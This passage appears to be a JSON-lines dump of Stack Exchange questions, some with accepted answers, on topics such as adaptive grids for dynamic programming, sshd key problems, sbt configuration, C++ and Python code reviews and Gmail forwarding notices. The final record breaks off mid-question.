{  "id": "_scicomp.27567"  , "question": "I've a read a paper about investing where they used a dynamic programming approach to solve a finite horizon problem, i.e. $$\\max_{x_t} E[u(W_T)] $$where $u$ is a utility function and $W_T$ denotes the terminal wealth. The Bellman equation can then be written as $$ V_t(W_t) = \\max_{x_t}E[V_{t+1}(W_{t+1})|W_t]$$with $V_T=u$. I have a continuous and concave utilitiy function which penalizes not hitting a certain target amount$$  u(w) =   \\begin{cases}    K_1 & \\text{if } w \\geq K_1 \\\\   w - c\\max{(0,(K_2-w))}^2       & \\text{if } w < K_1  \\end{cases}$$where $K_1>K_2$ are constant and $c>0$ a scaling factor. Above $K_1$, $u$ is constant, below $K_2$ you add a penalty. $c$ is a control parameter how much we should penalize $u$. For $K_1 = 12$, $K_2=10$ and $c= 100$ we get the following picture.and to see the linearity of $u$ between $K_2$ and $K_1$ another picture:Since I'm using a backward induction algorithm and discretize the space I've naively tried a uniform space grid $\\{x_i\\}$ in a fairly large interval $[w_1,w_2]$. Afterwards, I've solved for all the grid points $\\{x_i\\}$ the problem leading to solutions $y_i$. The pair $(x_i, y_i)$ was then used to approximate $V_t$. For this I've used a shape preserving method. What I've seen from experimenting with the problem that the approximation is very good far out on the left and right side, away from high curvature region. Moreover, the solution becomes quite stationary in these wing regions, too. What I then thought is to generate a non uniform grid which is denser where curvature is high. The problem is I don't know a priori the shape of $V_t$ (expect for $t=T$) so that it's hard to come up with a rule. Is there a generic way how to construct such non uniform grids? If someone has a concrete example or could point me into the right direction to do my own research, that would be really appreciated. I will potentially add another dimension to the state space so that the same question would arise in a higher dimension. That's why I put the mesh-generation tag as well"  , "title": "adaptive / smart grid choice for dynamic programming"  , "tags": "mesh generation;grid;dynamic programming"  } 
{  "id": "_softwareengineering.165469"  , "question": "My company is building an iOS version of an Android app that our client is developing (but has not yet released). We have access to the latest builds and source, however since the software is frequently re-structured and refactored, we're doing a lot of unnecessary re-work. In addition, the due date on the contract will likely be passed before the client's application is even ready for release. In other words, we're supposed to build the iOS version before the original Android version is even complete. Luckily the client tossed out the original deadline, but now we may have to renegotiate pricing... never a fun situation.Are we handling this incorrectly? How are ports (especially between mobile platforms) normally done? Is there a correct way to pipeline development for multiple platforms without so much re-work?Thanks in advance! :)"  , "title": "How to handle porting software that's still in development"  , "tags": "project management;mobile;contract;porting"  , "accepted_answer": "If your only source of information for the application is it's unfinished android source, there is no way to escape this mess other than waiting for it's finish.A good way is this case is having a requirements file etc. that describes the work. For contract work, if what needs to be done is unclear, you WILL encounter lots of problems regarding the delivery date and pricing.Talk with the client, and formalize what needs to be done before you do more work. Use acceptance tests/use cases/requirements file/user stories/whatever to document what needs to be delivered and work on that. This way, you will know what you are responsible for(instead of an ever changing requirements when the android version changes) and you can talk in even terms with the client."  } 
{  "id": "_reverseengineering.10937"  , "question": "During runtime. With minimal performance impact on the target.Platform is Windows 7.Objective is to gather a lot of data for clustering and ML. To ultimately assist with protocol reversing. All input will also be logged including packets (decrypted)."  , "title": "How to log every memory read/write action and the registers of the action?"  , "tags": "tools"  } 
{  "id": "_unix.330874"  , "question": "I am configuring our new RHEL 7 server and I am have a real pickle in trying to get it to accept my private/public keypair.Everything seems similar enough compared to the sshd config from the older server.Current sshd_config:Port 22Protocol 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_keyKeyRegenerationInterval 3600ServerKeyBits 1024SyslogFacility AUTHPRIVRSAAuthentication yesPubkeyAuthentication yesAuthorizedKeysFile   .ssh/authorized_keysPasswordAuthentication yesChallengeResponseAuthentication noGSSAPIAuthentication yesGSSAPICleanupCredentials yesUsePAM yesX11Forwarding yesUsePrivilegeSeparation sandboxAcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGESAcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENTAcceptEnv LC_IDENTIFICATION LC_ALL LANGUAGEAcceptEnv XMODIFIERSSubsystem   sftp  /usr/libexec/openssh/sftp-serverLogging in using PuTTY I receive:Using username jweinraub.Server refused our keyMy permissions aredrwx------. jweinraub jweinraub unconfined_u:object_r:ssh_home_t:s0 .ssh/-rw-------. jweinraub jweinraub unconfined_u:object_r:ssh_home_t:s0 authorized_keysAnd with debug 3debug1: trying public key file /home/jweinraub/.ssh/authorized_keysdebug1: fd 4 clearing O_NONBLOCKdebug2: key not founddebug1: restore_uid: 0/0debug3: mm_answer_keyallowed: key 0x7ff339f8afa0 is not allowedFailed publickey for jweinraub from 10.18.66.11 port 55147 ssh2: RSA 1c:9d:1c:c7:cf:14:48:56:4f:23:5d:cb:16:a6:1d:18debug3: mm_request_send entering: type 23debug2: userauth_pubkey: authenticated 0 pkalg ssh-rsa [preauth]debug3: userauth_finish: failure partial=0 next methods=publickey,password [preauth]"  , "title": "Server refusing public key with PuTTY"  , "tags": "ssh;putty;key authentication"  } 
{  "id": "_unix.385635"  , "question": "man umount2  says:   MNT_EXPIRE (since Linux 2.6.8)          Mark the mount point as expired.  If a mount point is not          currently in use, then an initial call to umount2() with this          flag fails with the error EAGAIN, but marks the mount point as          expired.  The mount point remains expired as long as it isn't          accessed by any process.  A second umount2() call specifying          MNT_EXPIRE unmounts an expired mount point.  This flag cannot          be specified with either MNT_FORCE or MNT_DETACH.umount doesn't seem to support it.Are there any utilities which allow one use this flag?"  , "title": "Are there any utilities which support umount2(2)'s MNT_EXPIRE?"  , "tags": "unmounting"  , "accepted_answer": "You can easily access C functions from Python.#!/usr/bin/env pythonimport os, sysfrom ctypes import *libc = CDLL('libc.so.6', use_errno=True)MNT_EXPIRE = 4libc.umount2(c_char_p(sys.argv[1]), c_int(MNT_EXPIRE))if get_errno() != 0:    print os.strerror(get_errno())    exit(1)"  } 
{  "id": "_softwareengineering.148405"  , "question": "I recently started learning Android development and I decided to follow the following development processes:Preinstall Scala in emulatorEdit source files in IntelliJ IDEA 11Compile the project with sbt in command lineDex generated classes without Scala librariesBuild APK and test in emulatorIn the above steps, except step 3, I think other steps can be easily handled by command line/makefile. So here I am, I want a sample build.sbt to allow me easily specify the following information:Source directoriesReference librariesOutput directoryI am aware of sbt android plugin and sbt idea plugin but I want to avoid them for the following reason: projects generated by android plugin dex Scala libraries for each build but I want to have control on that part: I want to skip Scala libraries for development but include them for release build, which seams requires a lot of digging if I do it with the plugin but can be easily handled if it is done from command line/makefile.If overall what I plan to do makes sense, could someone familiar with sbt provide such a sample build.sbt? I have already spent hours following sbt tutorials but felt its so hard to make each seemed simple change to the default behavior of sbt.A side question, it seems that source directories added by unmanagedSourceDirectories get compiled every time regardless of the time stamp. If thats the case, whats the point of using sbt? I can just feed all sources files into scalac.UPDATEThis is the build.sbt based on Daniel C. Sobral's answer. When I type in sbt compile, it only prints some info like Set current project to HelloAndroid.... No compilation happens.name := HelloAndroidscalaVersion := 2.8.2unmanagedSourceDirectories := List(  file(src),  file(gen))libraryDependencies := List() // remove Scala's library from dependenciesunmanagedJars := List(Attributed.blank(file(C:/bin/android/platforms/android-10/android.jar)))target := file(target)I didn't expect it compiles because I still need to work out the jar files but at least I should get some compiler error. Any hint?UPDATE: the sbt compile outputs the following:[info] Set current project to HelloAndroid (in build file:/C:/Users...[success] Total time: 0 s, completed May 14, 2012 10:36:23 AMI have two source files in src directory:src/com/example/[HelloScala.scala MyActivity.java]No class file is found under target folder."  , "title": "A sample build.sbt to allow me easily specify source dirs and libraries?"  , "tags": "android;scala"  , "accepted_answer": "I'd like to understand better what trouble you are having, because there really isn't much to it. This is all pretty simple:// build.sbtunmanagedSourceDirectories in Compile := List(file(\\path\\to\\my\\source))libraryDependencies := List() // remove Scala's library from dependenciesunmanagedJars in Compile := List(Attributed.blank(file(\\path\\to\\my\\library.jar)))target in Compile := file(\\path\\to\\my\\target\\directory)Note that the above completely raw: it doesn't let SBT manage libraries through ivy, it doesn't let SBT find the jar files inside the directories for the unmanaged libraries and it uses absolute paths for everything.EDITAs I said, the above use absolute paths, and it seems you want relative paths for your source. Use this:unmanagedSourceDirectories <<= baseDirectory( base => List(src, gen) map (base / _ ))Also, you are using the default target, so you don't need it. However, SBT will create the files inside a subdirectory of that target, which is probably not what you want. You can change that this way:target in Compile <<= baseDirectory(_ / sbt-stuff) // move everything else to sbt-stuffclassDirectory in Compile <<= baseDirectory(_ / target)  // generate the class files on targetAs for the error message you did not understand, it would have been easier to ask what it meant than to ask for the whole configuration. "  } 
{  "id": "_unix.236518"  , "question": "I use vpnc in terminal to setup a vpn connection, is there a way that i can make a script so when i execute the script it just starts. Instead of putting again al the gateway info etc. "  , "title": "Vpnc script bash"  , "tags": "bash;shell script;vpn"  } 
{  "id": "_unix.133989"  , "question": "Any ideas how to back up a directory structure for which there are some files and/or directories for which you do not have permission to read? I'd like to just ignore those, without backup (tar? jar?) crashing."  , "title": "How to backup dir structure ignoring files & dirs without read permission"  , "tags": "permissions;files;backup;tar"  } 
{  "id": "_codereview.88907"  , "question": "The following code is from a utility I've written for myself.It takes a file in this format: [SOME_CODE] Some following text [SOME_OTHER_CODE] Some following multi-line textAnd then outputs a C header file containing some #defines with the strings encoded.The bottom function, convert, is the one I'm scratching my head about.  It works just fine, but I'm sure there's a better way of organising the loop. Performance isn't a great issue here, just maintainability.  It doesn't have to be super-resilient to unexpected input either. It uses JUCE - hence the non-std string class and file operations.bool isShortCode(const String & stringToCheck){    return (stringToCheck.length() > 1) && (stringToCheck[0] == '[');}String getEncodedDefineAndComment(const String & shortCode, const String & originalText){    String t;    t += \\n;    t += //  + originalText.replace(\\n, \\\\n) + \\n;    t += #define JCF_ENCODED_ + shortCode +   + getDefineForString(originalText) + \\n;    return t;}void convert(File inFile, File outFile){    auto inString = inFile.loadFileAsString();    if (inString.isEmpty())    {        cout << error reading input << endl;        return;    }    auto inLines = StringArray::fromLines(inString);    String shortCode;    String text;    String outputText;    auto p = inLines.begin();    while (p != inLines.end())    {        String s = *p;        if (isShortCode(s))        {            shortCode = s.removeCharacters([] );            text = String::empty;            p++;        }        else        {            if (shortCode.isEmpty())            {                cout << error: input must start with a shortcode << endl;                return;            }            bool firstTime = true;            while ((p != inLines.end()) && (! isShortCode(*p)))            {                // I only want a new line where there are multiple lines.  I don't want one for the last line.                if (! firstTime)                {                    text += \\n;                    firstTime = false;                }                text += *p;                p++;            }            outputText += getEncodedDefineAndComment(shortCode, text);        }    }    // Happy to assume no errors here.    outFile.replaceWithText(outputText);}"  , "title": "Organising loops for parsing a text file"  , "tags": "c++;parsing;file"  } 
{  "id": "_webapps.21031"  , "question": "I set up a filter on my personal gmail that forwards all mail from a certain domain to my work email. When I saved the filter, the following notification popped up at the top of my window:(Your filters are forwarding some of your email to abby@stackoverflow.com. This notice will end in 7 days.)Can I dismiss this message? Or must I look at it for 7 days? I clicked both Review Settings and Learn more, and it's still there. There is no X or Dismiss button all the way on the right. Am I stuck with it for a week?"  , "title": "Can I dismiss Gmail's warning about my filter forwarding my mail?"  , "tags": "gmail;gmail filters"  , "accepted_answer": "It's going to be there for a week, but will only appear at login for a minute or two so you don't get banner blindness. It's a security feature that should help remind you to double-check for any dubious forwarding filters during that time.How long will I see this notice?For about a week, this notice will appear for a few minutes each time you sign in to your account. Displaying the notification in this way helps ensure that you have a chance to see the notice, rather than someone who might try to gain unauthorized access to your account and use this setting improperly. The notice will disappear immediately if you choose to disable the forwarding filter setting, but that decision is up to you."  } 
{  "id": "_ai.2594"  , "question": "I am currently trying to understand and implement a conversational agent, seeing in the network there are many apis to do something similar, but what they generate are intelligent bots, not intelligent conversational agents (wit.ai, recast.ai, Api.ai, etc.), however I have seen Watson virtual agent which paints very well and seems to cover my needs.However I am a developer and I would like to ask those with more experience, which would be the way to go to implement my objective, an agent similar to what the video of watson virtual agent, with thematic ones that I can train in the agent, and That he can learn from it.Take a language course, but focused on the generation of programming languages, lexical analysis, syntactic, semantic, etc., however I know that the natural language can not be compared to the language of the machines, reading some thesis vi to make a Conversational agent could do a great grammar (I can not imagine its syntactic tree), using probabilities with ngrams, or using neural networks or expert systems.As for the expert systems I understand that for these learn needs their knowledge base be modified, and as for the neural networks these fit, learn, so I think that it is best to use neural networks.Summarizing which way should I go? , I'm currently taking stanford's natural language processing course, and a deep learning course from google, I thought I'd use ntlk for that important or natural part.Any suggestion, criticism, contribution, thank you in advance.machine-learning nlp artificial-intelligence agent"  , "title": "Conversational agent,query"  , "tags": "neural networks;machine learning;deep learning;natural language;language processing"  } 
{  "id": "_softwareengineering.334079"  , "question": "So for my newest hobby project, I want to create a simple chat application where users can just log in with a nickname (no passwords) and talk to anybody on the network. Off the top of my head, I'm thinking about this design where a frontend Client acquires a User object by registering with a nickname.A Message object can behave like packets in the network, with a Postman delivering a given Message object to the intended recipient.When a user sends a message, they call:    postman.addMessage(message);and the Postman then delivers this to the inTray located in Server.The receiver's Postman eventually finds a Message object intended for them in the outTray and fetches it for its Client.Any thoughts on the design? For all I know, it probably sucks but some constructive criticism is always welcome."  , "title": "Design verification - chat application architecture"  , "tags": "java;architecture;messaging"  , "accepted_answer": "According to your explanations, the user interacts with a postman to send and receive messages, which are stored on a server.  That's a good start.  But I'm not sure that the class diagram fully reflects your explanations;  It also raises some questions:  the user would be composed of several clients ??  I thought that the user user would register to a client. Or eventually that a client would own several users.  is the client supposed to represent the user interface ? the postman would be composed of several users ??  Do you mean that a postman serves several users.  And what is the relationship between a postman a client and a server ? are the intray/outray on the sever organized by postman ? by user ? or is it global for the all the users/postman ?  are messages stored twice on the server: in outray (send by user) and in the intray (adressed to user) ? when the message is sent to the server, is a copy kept in the postman ?  when a message is retrieved from the server, is it removed there ?  the notion of user session is not represented here.  What if a user logs off, and logs in later ?  What will happens to the messages that he has received in the meantime ? will the same postman always serve the same user ? As you can see above, you are very much at the beginning of your design. Without addressing all these points, I'd already propose you a reviewed diagram: Some key aspects: There is no permanent relation between postman and server: a posman is not structurally related to a server.  There is only a dependency, because when a postman is told to connect with a server, he has to know the interface of the server (yet to be defined)The messages are either stored in a postman, or on a server (see the black diamonds).   there is a link to be clarified between a user and a postman (e.g. the user has a link to the postman, or the postman has a list of users).  there is a link to be clarified beteween a user and a ClientUI.  As the user seems to be created when connecting to UI, we could imagine that the User is created by the UI.it has to be clarified how the servers are managed:  does every client manage a server ?  Is teh server given when login ? Are server operated independently ?  are server searched via a network protocol by the postman when he needs it ? You need to clarify this.  "  } 
{  "id": "_unix.61749"  , "question": "So I have been using linux mint for a while now. A few months ago my Gnome shell crashed and I was unable to use the full 3d features and loaded into fallback mode only. From that day (around 2 months ago) I still have only fallback mode (both Gnome and cinnamon). I installed Linux mint maya, and Ubuntu 12.04 both as windows file and complete installation in an external hard drive. and for many times I sitll cannot fix this problem. ps I made sure to download all the drivers for my graphics card. what could the problem be?"  , "title": "Gnome and Cinnamon loads in fallback (classic) mode only"  , "tags": "linux;ubuntu;gnome;linux mint;cinnamon"  } 
{  "id": "_webmaster.44188"  , "question": "A question asked on my website here http://www.wrangle.in/topic/av5b5ymlhoyc/what-is-the-difference-between-www-or-ww I want to give them answer but I didn't find anywhere on google. So I thought better asking it here."  , "title": "Why is ww35 used in some URLs?"  , "tags": "url;url rewriting;no www;web hosting"  } 
{  "id": "_scicomp.10687"  , "question": "Within Fenics what ordering is used for storing vectors as upper triangular matrices? Th:e question really is I define a green Lagrange strain tensor in the following way:V = VectorFunctionSpace(mesh, Lagrange, 1)u  = Function(V)I = Identity(V.cell().d)    # Identity tensorF = I + grad(u)             # Deformation gradientC = F.T*F                   # Right Cauchy-Green tensorE = (C-I)/2                 #green strain tensorBut when I accesses the elements later,psi = stress1*E[0,0]+stress2*E[1,1]+stress3*(E[2,2])+stress4*E[1,2]+stress5*E[0,2]+stress6*E[0,1]I assumed Voigt notation but it occurs to me that this may not be the case. Using this method to initialize the strain tensor is this the notation I should be using or is there a different type or initialization that would be more appropriate?Thanks for any help. "  , "title": "Tensor notation in fenics"  , "tags": "fenics"  } 
{  "id": "_unix.303742"  , "question": "I am about to start working on an embedded system which runs kernel v2.6.x.It is configured to use its serial line as a TTY (accessible via e.g. minicom, stty), but I want to run IP over the serial line so that I can run multiple multiplexed sessions over the link (e.g. via UDP/TCP or SSH).I don't have much more information about the boards yet (will post more when the documentation arrives), but assuming that the kernel provides reasonable abstraction over the hardware - what would be the process to configure it to run PPP or (C)SLIP over the serial link in place of TTY?"  , "title": "How to configure embedded kernel to use serial line for PPP instead of TTY"  , "tags": "linux kernel;configuration;serial console;ppp;uart"  , "accepted_answer": "You would first disable getty running on your serial port device /dev/ttyS0 (or whatever it is named for your hardware) to free it (for example, by editing /etc/inittab and running telinit q - if you managed to steer away from systemd)  and then you would run pppd(8) on it (either manually with appropriate parameters or via additional tools like wvdial)"  } 
{  "id": "_codereview.20167"  , "question": "I have many thousands of image files spread around various places and would like to copy them into one directory. However, may of the files are duplicates with the same names (often thumbnails or reduced resolution etc).  I want to delete all files that have the same name except for the largest. The following code reads a list of these file paths (fullpath/name). It splits the filename from the path, determines the size of the file and adds each filename and its size to a list (map).  Where a name is found that is already in the list, the larger of the two is kept in the list and the smaller is 'deleted' (by which I mean emitting the command rm path/to/file).I know this is naive C++, because I am a novice (though not at C). Any help making it less naive would (or just better) is appreciated. #include <iostream>#include <string>#include <sys/stat.h>#include <map>using std::map;using std::string;class filedata {    std::string path;    size_t size;public:    filedata (void) : path(), size(0) { }    filedata (const string& p, size_t s) : path(p), size(s){ }    filedata (const filedata& f) : path(f.path), size(f.size) { }    size_t filesize(void) {        return size;    }    string& filepath(void) {        return path;    }    std::ostream& print(std::ostream& os) const {        os << size <<   << path << \\n;        return os;    }};std::ostream& operator<<(std::ostream& os, const filedata& f){    return f.print(os);}static size_t file_size(const string& s){    struct stat st;    if (stat(s.c_str(), &st) == 0) {        return st.st_size;    }    return 0;}static void delete_file(const string& s){    std::cerr << rm \\ << s << \\\\n;}static bool file_name(const string& path, string& name){    size_t pos = path.rfind('/');    if (pos == string::npos) {        return false;    }    name = path.substr(pos+1);    return true;}int main(int argc, char **argv){    (void) argc;    (void) argv;    string s;    map<string, filedata> files;    while (getline(std::cin, s)) {        string name;        if (file_name(s, name) == false) {            break;        }        size_t size = file_size(s);        if (size == 0) {            delete_file(s);        }        else if (files.count(name) > 0) {            filedata f(files[name]);            if (f.filesize() <= size) {                delete_file(f.filepath());                files[name] = filedata(s, size);            }        }        else {            files[name]= filedata(s, size);        }    }    for (auto i = files.begin(); i != files.end(); ++i) {        std::cout << i->first <<    << i->second;    }    return 0;}"  , "title": "Reading a list of file paths and adding them to a map"  , "tags": "c++;beginner;file"  , "accepted_answer": "Looks good overall (though I'm by no means a C++ expert).In coming brain-dump though:void argument lists are rare in C++. Yes, in C, int c() and int c(void) are different, but in C++, that's not the case. In C++, int c() is implicitly the same declaration as int c(void).The no-op statements on argv and argc jump out as odd. If you did that so a warning of an unused variable won't be issued, you could always use one of the alternate main declarations (i.e. int main().Opinion again, but I'm not a fan of comparison to booleans: if (file_name(s, name) == false).  It reads more easily as if (!file_name(s, name))This might be on purpose, but the path property of filedata can be mutated from outside:filedata f(name, 10);f.filepath() = new;I would probably make these objects immutable since they seem to be value objects (I think you probably intended to do this, just non-intuitive references got you).You should return either by value or by const reference from filepath. Even though it will create a usually unnecessary copy, I highly suggest the value route. If you return a const reference, you run the risk of a dangling pointer. Consider this (bad) example:filepath* f = new filepath(blah, 10);const std::string& s = f->filepath();delete f;// Any use of s past here is undefined behaviors is essentially a const pointer to f->path. This means that when f is released, s becomes invalid. Note that if you immediately create a copy of a string based on the constant reference [i.e. if you had std::string s = ...] this does not apply. That still creates a copy though, so you might as well return a value.(Also, obligatory note: raw pointers have very few legitimate uses in C++. Avoid pointers if at all possible, and use a smart pointer when not. The only (possible) exception is low level container implementations.)I'm not a fan of print style member functions.  In this application this aversion doesn't make sense, but imagine if some third party library you used provided print methods for some of it's classes.  Do you think it would print out in exactly the format you want?  I prefer to use helper-type functions for printing rather than putting it as a member of the class.  (Though once again, on this application since it's so small, it matters nothing at all.)(Oh, and this once again is opinion.)filedata (void) : path(), size(0) { }filedata (const string& p, size_t s) : path(p), size(s){ }filedata (const filedata& f) : path(f.path), size(f.size) { }There's a bit of redundancy here.  Technically you could write this just as:filedata (const string& p = , size_t s = 0) : path(p), size(s){ }Or if you wanted:filedata (const string& p = string(), size_t s = size_t()) : path(p), size(s){ }Though I'd probably go with the first.The copy constructor doesn't need to be defined since it's the same as the implicit one. When using the same functionality as the implicit one, do not define one. The implicit one isn't prone to typos or a future failure to update the copier to reflect new properties.I would give more descriptive names to p and s:filedata (const string& path, size_t size) : path(path), size(size) { }I'd probably go with something like uint64_t instead of size_t since size_t will probably be 32 bits on a 32 bit system. If you'd like to abstract away exactly what the type is, you could have a typedef ... size_type member of your class. Not only does that offer a more semantic meaning, it allows for easier future change (assuming consumers actually proper use the typedef...).I tend to declare define the end of an iterator up front:for (auto i = files.begin(), end = files.end(); i != end; ++i) {Not only does it potentially offer a tiny performance advantage (though not really on any modern compiler), it has clearer meaning. With this version, there much more suggestion that end is not mutated inside of the loop (though it's still not guaranteed since end isn't const).std::begin and std::end should be preferred in C++11. They have all the capabilities of the member-function versions plus a bit more.stat failing probably shouldn't just return a size of 0.  You might end up accidentally deleting a file if something weird happens.  (Then again, most of the reasons stat would fail would also cause an attempt to delete a file to fail.)If you had the input include the file sizes, you could reduce your program to pure text processing.  I'm also not sure if your program should be emitting rm commands.  Seems like a coupling of sorts.  Then again, the output would just be transformed into rm commands anyway, so might as well do it directly I guess :).The data put out on stdout seems to be debugging-esque information whereas the stderr data seems to be what you're actually after.  Seems like these streams should be swapped.I'd be tempted to use a reference instead of copying the item in the map:filedata f(files[name]);Could be:filedata& f = files[name];The performance difference is going to be non-existent; mostly just a (opinion-y) style thing. It would also allow you to simplify the reassignment from files[name] = ... to just f = ....The filesize member of filedata can't permute size, so you might as well have the method be const.  Same for filepath() if it wasn't meant to allow the perumtation of path (as mentioned earlier).Another personal-style thing: I don't like implicit visibility scoping:class filedata {    std::string path;    size_t size;os << size <<   << path << \\n;return os;Can be simplified to:return os << size <<   << path << \\n;"  } 
{  "id": "_webmaster.51356"  , "question": "Which is the best place to post a URL to get a backlink?SignatureForum profileAnswering a question and giving a related post URL as the answerDo Google's algorithms consider all of these to be spam/blackhat?"  , "title": "Is it best to put a link in signature, forum profile, or in a post to get backlinks?"  , "tags": "backlinks;forum"  } 
{  "id": "_unix.355266"  , "question": "How can I sort numbers such as these using a sort command. 10111211314151617181920212223456789XY"  , "title": "How can I sort numbers in a unix shell?"  , "tags": "sort"  } 
{  "id": "_webapps.37315"  , "question": "I want to setup Bing search for my own website with the help of Bing API. Is it possible to get some sort of statistics that tells me what kind of searches users made on my website or where they are coming from, etc? Is there any feature available in Bing that give me these kind or any other kind of statistics?"  , "title": "Can we get statistics from Bing search?"  , "tags": "bing"  } 
{  "id": "_unix.173943"  , "question": "The problemI've got two graphics cards in my computer:Nvidia GTX 580Intel Graphics (onboard) The Nvidia part is working fine: plugged in a DVI cable to my monitor and everything works perfectly. The Intel part is totally ignored. xrandr says it is disconnected, and even tty is not visible at the Intel/HDMI display. When having xf86-video-intel installed, my monitor says no signal, if it is uninstalled, it says 1024-768 connected with a black screen. (completely black, no tty)InformationI am using Arch Linux. After installing xf86-video-intel I also added to /etc/mkinitcpio.conf the i915 tag in the MODULES line:MODULES=i915Calling uname -r gives me:3.14.25-1-ltsCalling lscpi -v gives me (among other things):00:02.0 Display controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)Subsystem: ASRock Incorporation Device 0122Flags: bus master, fast devsel, latency 0, IRQ 45Memory at f7400000 (64-bit, non-prefetchable) [size=4M]Memory at d0000000 (64-bit, prefetchable) [size=256M]I/O ports at f000 [size=64]Capabilities: [90] MSI: Enable+ Count=1/1 Maskable- 64bit-Capabilities: [d0] Power Management version 2Capabilities: [a4] PCI Advanced FeaturesKernel driver in use: i915Kernel modules: i915Calling xrandr gives me:Screen 0: minimum 320 x 200, current 1920 x 1200, maximum 8192 x 8192DVI-I-1 connected 1920x1200+0+0 (normal left inverted right x axis y axis) 518mm x 324mm   1920x1200     59.95*+   1600x1200     60.00   1280x1024     75.02    60.02   1280x960      60.00   1152x864      75.00   1024x768      75.08    70.07    60.00   832x624       74.55   800x600       72.19    75.00    60.32    56.25   640x480       75.00    72.81    66.67    60.00   720x400       70.08DVI-I-2 disconnected (normal left inverted right x axis y axis)HDMI-4 disconnected (normal left inverted right x axis y axis)Possible causes which are not the causeThe cable is not the problem. It runs perfectly fine booting on Windows. "  , "title": "Intel HDMI monitor not recognized"  , "tags": "arch linux;xrandr;dual monitor;intel;hdmi"  } 
{  "id": "_webapps.80728"  , "question": "Facebook has recently started allowing sign ups for Messenger with only a phone number instead of a full Facebook account.So:If I sign up to Messenger with only a phone numberAnd I have previously used that number as an account recovery mechanism for a full Facebook accountAnd that account has since been deactivated (but not deleted)Will Facebook join the dots and attempt to reactivate my dormant full Facebook account when I try to sign up on Messenger?"  , "title": "Sign up to Messenger with just a phone number already used on a deactivated Facebook account - will the account be reactivated?"  , "tags": "facebook;facebook chat"  , "accepted_answer": "Facebook will recognise the number and tell you to either:Log in with Facebook (thus connecting your full account)or Continue signing up (which will keep your new Messenger identity separate, and you will go on to enter a first name, last name, and optionally a photo).If you do this separate phone number sign up, and you search for your own name in the contact search screen, you may be able to find what looks like a full Facebook profile of yourself. Nope, they did not reactivate your full account. They actually seem to create a new Facebook account with your name, phone number, and profile photo all publicly visible - this is presumably their chosen way make you discoverable to people with full Facebook accounts.Source: Messenger for iOS (UK)"  } 
{  "id": "_codereview.163781"  , "question": "I've written this very simple quiz program, I'm trying to get to grips with OOP (Object Orientated Programming), so I've started simple with very basic Classes. The nature of the code would have suited using functions but I wanted to practice with Python Classes.Any comments or suggestions about my code would be most welcome, my ultimate goal is to be as pythonic as possible in future projects.I've tried to follow Python PEP8 guidelines. from colorama import *import randomimport osinit()class StartQuiz():    def __init__(self, capital_dict: str = {}, randomize_keys: str = []):        self.capital_dict = capital_dict        self.randomize_keys = randomize_keys    def set_up(self):        with open('capitals.txt') as file:            for data in file:                [country, capital] = data.split(',')                self.capital_dict[country] = capital.strip()            self.randomize_keys = list(self.capital_dict)            random.shuffle(self.randomize_keys)            return [self.capital_dict, self.randomize_keys]class DisplayAnswer(StartQuiz):    def __init__(self, capital_dict, randomize_keys):        super().__init__(capital_dict, randomize_keys)    def show_answer(self):        for city in self.randomize_keys:            print(Fore.BLUE + f'{self.capital_dict[city]}', end='  ')        print('\\n')class DisplayQuestion(StartQuiz):    score: int = 0    def __init__(self, capital_dict, randomize_keys):        super().__init__(capital_dict, randomize_keys)    def ask_question(self):        for country in self.randomize_keys:            print(Fore.YELLOW + f'Capital of {country} is ? ', end='')            answer = input(Fore.WHITE)            if answer.lower() == self.capital_dict[country].lower():                print(Fore.BLUE + 'Correct!')                self.score += 1            else:                print(Fore.RED + 'Incorrect!')        return [self.score, len(self.capital_dict)]def main():    startQuiz = StartQuiz()    while True:        os.system('CLS')        print(Fore.WHITE + '***  Capital City Quiz  ***\\n')        print('Choose the correct city from the list below:\\n')        DisplayAnswer(startQuiz.set_up()[0], startQuiz.set_up()[1]).show_answer()        total_score = DisplayQuestion(startQuiz.set_up()[0], startQuiz.set_up()[1]).ask_question()        print(Fore.WHITE + f'\\nYou scored: {total_score[0]} out of {total_score[1]}')        input('\\nPress <Enter> to play again')if __name__ == __main__:    main()"  , "title": "Simple Capital City Quiz in Python3"  , "tags": "python;object oriented;python 3.x;console;quiz"  } 
{  "id": "_webapps.324"  , "question": "I'm looking to start a web-based business, and I'd like to better understand how Google AdWorks works, and if it's worth the money for me to purchase keywords?Is there a way to limit how much it will cost me to use adwords? Is there a way to track the effectiveness of certain search keywords?"  , "title": "How does Google's AdWords model work?"  , "tags": "google adwords"  , "accepted_answer": "You asked a lot of questions, I will do my best to answer each one:Adwords is worth the money if you can quantify your entire costs (including obviously the campaign) and the value of the new customer.  This may seem easy at first, but there are likely to be several factors in determining these values. (sorry there is no easy answer here)There is a way to limit your campaigns - both by individual bid amount (per click) and you will be notified when you balance is low so you can make sure your credit card is not charged.Yes: the analytics provided are robust, all keywords are tracked.  You can also filter, sort and analyze a few hours away if you have enough keywords :)Overall, I would suggest finding a free Adwords code.  Try searching on twitter.  You can generally get about $100 to try it out -- by then you should be pretty comfortable with the system and how to bid effectively (i.e. do not pay suggested price!)Good Luck  "  } 
{  "id": "_unix.309322"  , "question": "I have an ASUS ME176CX tablet, which only has 64-bit EFI booting support. No legacy option. But there are device drivers for 32-bit only Linux. How do I boot a 32-bit Linux OS through 64-bit Grub in EFI mode?"  , "title": "How to boot 32-bit Linux kernel with 64-bit EFI Grub?"  , "tags": "grub2;grub;bios;uefi"  } 
{  "id": "_softwareengineering.352491"  , "question": "I'm planning on making a web app that'll use MySQL as the database, Java/Grails as the backend and JavaScript/VueJS as the frontend and then they'll communicate using only RESTful JSON APIs (that way I can have frontend apps running on any platform, all with the same backend). What I'm thinking is that every action (that requires db access) will have to be authenticated so I'm thinking that when a user logs in (successfully) I'll create an auth token on the backend, encrypt it and send it to the front end where it gets stored in browser storage so from that point on every time a user does something that token gets used for authentication. But what I'm not sure about how to implement is authentication for user registration (and any other action that doesn't require the user to be logged in, e.g. sending a Contact Us query). For example I could have a REST_PASSWORD variable in the front-end JavaScript that gets used for these unlogged-in actions but that's essentially useless because anyone can access the JavaScript code and grab the password.So my question is what is the best way to implement user registration through a JSON REST API so that my application doesn't get taken advantage of by bots/malicious users? It's been suggested that I implement CAPTCHA on the frontend and while I'm definitely gonna give that a look, I'm wondering if that'll be enough 